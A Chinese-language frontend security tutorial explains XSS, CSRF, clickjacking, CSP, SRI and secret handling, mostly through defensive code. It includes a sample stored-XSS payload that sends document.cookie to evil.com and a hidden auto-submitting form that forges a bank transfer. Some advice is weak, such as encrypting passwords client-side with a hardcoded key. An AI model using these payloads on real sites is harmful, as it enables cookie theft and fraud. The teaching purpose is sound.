前端安全基础
大白话解释: 前端安全就像"防小偷"。有两种常见的"偷法":
- XSS:小偷往你的页面里注入恶意代码,偷用户的 cookie、密码等信息
- CSRF:小偷冒充用户发请求,偷用户的钱或数据
为什么要关注前端安全?
- 用户数据泄露:攻击者可以偷到用户的登录信息
- 资金损失:攻击者可以冒充用户转账
- 网站被篡改:攻击者可以修改页面内容
XSS 和 CSRF 的区别:
- XSS:注入代码到你的网站,用户在你的网站上被攻击
- CSRF:利用用户已登录的状态,从其他网站发请求攻击你的网站
前端最常见的两种攻击:XSS 和 CSRF,以及基本的防御手段。
XSS(跨站脚本攻击)
什么是 XSS
攻击者将恶意脚本注入到网页中,当其他用户访问时,脚本在受害者浏览器中执行。
攻击方式
html
<!-- 存储型 XSS:恶意脚本存入数据库 -->
<!-- 用户在评论区输入:-->
<script>
fetch('https://evil.com/steal?cookie=' + document.cookie)
</script>
<!-- 其他用户浏览该页面时,脚本自动执行 -->
<!-- 反射型 XSS:恶意脚本在 URL 中 -->
<!-- https://example.com/search?q=<script>alert(1)</script> -->
<!-- 服务端将搜索词直接渲染到页面 -->
<!-- DOM 型 XSS:前端 JS 直接操作 DOM -->
<!-- 用户输入内容被 innerHTML 插入页面 -->防御手段
vue
<!-- ❌ 危险:直接渲染 HTML(v-html 是 Vue 的 HTML 渲染指令) -->
<div v-html="userInput"></div> <!-- Vue 中渲染 HTML,用户输入会被解析为 HTML -->
<!-- ❌ 危险:React 中的 dangerouslySetInnerHTML(不是 innerHTML) -->
<div dangerouslySetInnerHTML={{ __html: userInput }}></div> <!-- React 中渲染 HTML 的方式 -->
<!-- ✅ 安全:Vue 默认对文本进行转义(插值语法会自动转义 HTML 实体) -->
<div>{{ userInput }}</div> <!-- 用户输入会被转义为纯文本,不会执行脚本 -->js
// ❌ 危险:直接操作 DOM 的 innerHTML(原生 DOM API,不是 React 语法)
element.innerHTML = userInput // 用户输入会被解析为 HTML,可能执行恶意脚本
// ✅ 安全:使用 textContent(只设置文本内容,不解析 HTML)
element.textContent = userInput // 用户输入会被设置为纯文本js
// 必须使用 HTML 时,先过滤(手动转义 HTML 特殊字符)
function sanitizeHTML(str) {
const div = document.createElement('div') // 创建临时 DOM 元素
div.textContent = str // 设置文本内容(自动转义)
return div.innerHTML // 返回转义后的 HTML 字符串
}
element.innerHTML = sanitizeHTML(userInput) // 使用过滤后的内容js
// 或使用 DOMPurify 库(专业的 HTML 过滤库,支持白名单机制)
import DOMPurify from 'dompurify' // 引入 DOMPurify 库
element.innerHTML = DOMPurify.sanitize(userInput) // 自动移除恶意脚本,保留安全的 HTMLCSRF(跨站请求伪造)
什么是 CSRF
攻击者诱导已登录用户访问恶意网站,该网站自动向目标站点发送请求(携带用户的 cookie)。
攻击示例
html
<!-- 恶意网站中的隐藏表单 -->
<form action="https://bank.com/transfer" method="POST" id="evil">
<input type="hidden" name="to" value="hacker">
<input type="hidden" name="amount" value="10000">
</form>
<script>document.getElementById('evil').submit()</script>
<!-- 用户访问此页面时,自动发起转账请求 -->
<!-- 浏览器会自动携带 bank.com 的 cookie -->防御手段
js
// 1. 使用 Token(最常见的方式:CSRF Token)
// 登录后服务端返回 token,前端每次请求携带(axios 拦截器自动添加)
axios.interceptors.request.use(config => {
config.headers['X-CSRF-Token'] = getCsrfToken() // 在请求头中添加 CSRF Token
return config // 返回修改后的配置
})
// 2. SameSite Cookie(现代浏览器默认 Lax,限制跨站发送 Cookie)
// 服务端设置 Cookie 时:
// Set-Cookie: token=xxx; SameSite=Lax; HttpOnly; Secure
// - SameSite=Lax:跨站请求不发送 Cookie(GET 请求除外)
// - HttpOnly:JS 无法读取 Cookie(防止 XSS 偷取)
// - Secure:只在 HTTPS 下发送 Cookie
// 3. 检查 Referer / Origin 头(服务端验证请求来源)
// 服务端检查请求头中的 Origin 或 Referer,确保请求来自可信域名
// 例如:只允许 https://example.com 发起的请求点击劫持
什么是点击劫持
攻击者用透明 iframe 覆盖在诱导按钮上,用户以为在点击按钮,实际点击的是 iframe 中的内容。
防御
html
<!-- 服务端响应头 -->
X-Frame-Options: DENY <!-- 禁止被 iframe 嵌入 -->
X-Frame-Options: SAMEORIGIN <!-- 只允许同源 iframe -->js
// 前端检测是否被嵌入
if (window.top !== window.self) {
window.top.location = window.self.location
}敏感信息保护
不要暴露在前端
js
// ❌ 前端存储敏感信息(localStorage 容易被 XSS 攻击读取)
localStorage.setItem('password', '123456') // 密码明文存储,极其危险
localStorage.setItem('secretKey', 'sk-xxx') // API 密钥存储在前端,容易被窃取
// ❌ 前端代码中硬编码密钥(构建后代码可被任何人查看)
const API_KEY = 'sk-xxxxxxxxxxxx' // 密钥会被打包到 JS 文件中
// ✅ 敏感操作放后端(前端只负责展示和交互)
// ✅ 前端只存储 token(有过期时间,泄露影响有限)
// ✅ token 存 httpOnly cookie(JS 无法读取,防止 XSS 窃取)接口安全
js
// 1. 所有接口使用 HTTPS(防止中间人攻击窃取数据)
// 2. 敏感接口加验证码(防止机器人暴力破解)
// 3. 接口参数加密(如密码传输)
import CryptoJS from 'crypto-js' // 引入加密库
function encryptPassword(pwd) {
return CryptoJS.AES.encrypt(pwd, 'your-secret-key').toString() // 使用 AES 加密密码(前端加密仅防抓包,HTTPS 才是根本方案)
}验证安全措施是否生效:
bash
# 1. 检查 Cookie 属性
# 打开浏览器 DevTools → Application → Cookies
# 确认 token 的 HttpOnly、Secure、SameSite 属性已设置
# 2. 检查 HTTPS
# 所有 API 请求应该使用 https:// 协议
# 3. 检查 CSP 头
# 打开浏览器 DevTools → Network → 选择请求 → Headers
# 确认 Content-Security-Policy 头已设置Content Security Policy(CSP)
html
<!-- 通过 HTTP 响应头或 meta 标签设置 -->
<meta http-equiv="Content-Security-Policy"
content="default-src 'self';
script-src 'self' https://cdn.jsdelivr.net;
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;">| 指令 | 说明 |
|---|---|
default-src 'self' | 默认只允许同源资源 |
script-src | 限制 JS 来源 |
style-src | 限制 CSS 来源 |
img-src | 限制图片来源 |
connect-src | 限制 fetch/XHR 请求目标 |
SRI(子资源完整性)
CDN 引入第三方库时,应使用 SRI 校验防止 CDN 被篡改后加载恶意脚本:
html
<!-- SRI:通过 integrity 属性校验文件哈希值 -->
<script src="https://cdn.jsdelivr.net/npm/vue@3/dist/vue.prod.min.js"
integrity="sha384-xxxxx"
crossorigin="anonymous"></script>
<!-- 如果 CDN 文件被篡改,哈希值不匹配,浏览器会拒绝加载 -->nonce / hash 机制
CSP 允许内联脚本的安全方式:
html
<!-- nonce 方式:每次请求生成随机值,只有带 nonce 的脚本可以执行 -->
<script nonce="random123">
console.log('只有带正确 nonce 的脚本才能执行')
</script>
<!-- CSP 响应头中配置 -->
<!-- Content-Security-Policy: script-src 'nonce-random123' -->
<!-- hash 方式:对脚本内容计算 SHA-256 哈希 -->
<!-- Content-Security-Policy: script-src 'sha256-abc123...' -->安全检查清单
✅ 所有用户输入都转义后再渲染
✅ 不使用 v-html / innerHTML 渲染用户输入
✅ 敏感接口使用 CSRF Token
✅ Cookie 设置 HttpOnly / Secure / SameSite
✅ 全站 HTTPS
✅ 密码等敏感信息不存前端
✅ 依赖定期更新(npm audit)
✅ 不在代码中硬编码密钥验证安全措施
验证 XSS 防御
bash
# 1. 尝试注入脚本
# 在输入框中输入:<script>alert('xss')</script>
# 2. 检查页面是否执行了脚本
# 如果脚本被转义为纯文本,说明防御生效
# 3. 检查 v-html 使用
# 搜索代码中的 v-html,确保只用于可信内容验证 CSRF 防御
bash
# 1. 检查请求头
# 打开浏览器 DevTools → Network → 选择请求 → Headers
# 确认存在 X-CSRF-Token 或自定义 Token 头
# 2. 检查 Cookie 属性
# 打开浏览器 DevTools → Application → Cookies
# 确认 token 的 SameSite 属性已设置(推荐 Lax 或 Strict)
# 3. 测试跨站请求
# 从其他域名发起请求,应该被拒绝(403 错误)验证 CSP 配置
bash
# 1. 检查响应头
# 打开浏览器 DevTools → Network → 选择请求 → Headers
# 确认存在 Content-Security-Policy 头
# 2. 测试内联脚本
# 尝试执行内联脚本,应该被 CSP 阻止
# 3. 查看 CSP 违规报告
# 在 Console 中查看 CSP 违规警告常见问题
XSS 攻击仍然生效
可能原因及解决方案:
1. 使用了 v-html 渲染用户输入 → 改用插值语法 {{ }}
2. 使用了 innerHTML → 改用 textContent
3. 未过滤 HTML → 使用 DOMPurify 库过滤
4. CSP 未配置 → 配置 Content-Security-Policy 头CSRF Token 未携带
可能原因及解决方案:
1. Token 未存储 → 登录后保存 Token 到 Cookie 或 localStorage
2. 请求头未添加 → 使用 axios 拦截器自动添加
3. Cookie 被阻止 → 检查 SameSite 属性设置
4. 跨域请求被阻止 → 配置 CORS 允许携带 CookieCSP 阻止了合法资源
可能原因及解决方案:
1. 外部 CDN 资源被阻止 → 在 CSP 中添加允许的域名
2. 内联脚本被阻止 → 使用 nonce 或 hash 机制
3. 内联样式被阻止 → 在 CSP 中允许 'unsafe-inline'(不推荐)
4. 动态创建的元素被阻止 → 检查 CSP 的 createElement 策略密码明文传输
可能原因及解决方案:
1. 未使用 HTTPS → 部署 SSL 证书,强制 HTTPS
2. 密码未加密 → 前端使用 AES/RSA 加密后再传输
3. Token 存储不安全 → 使用 httpOnly Cookie 存储 Token
4. 敏感信息日志 → 确保后端不记录密码明文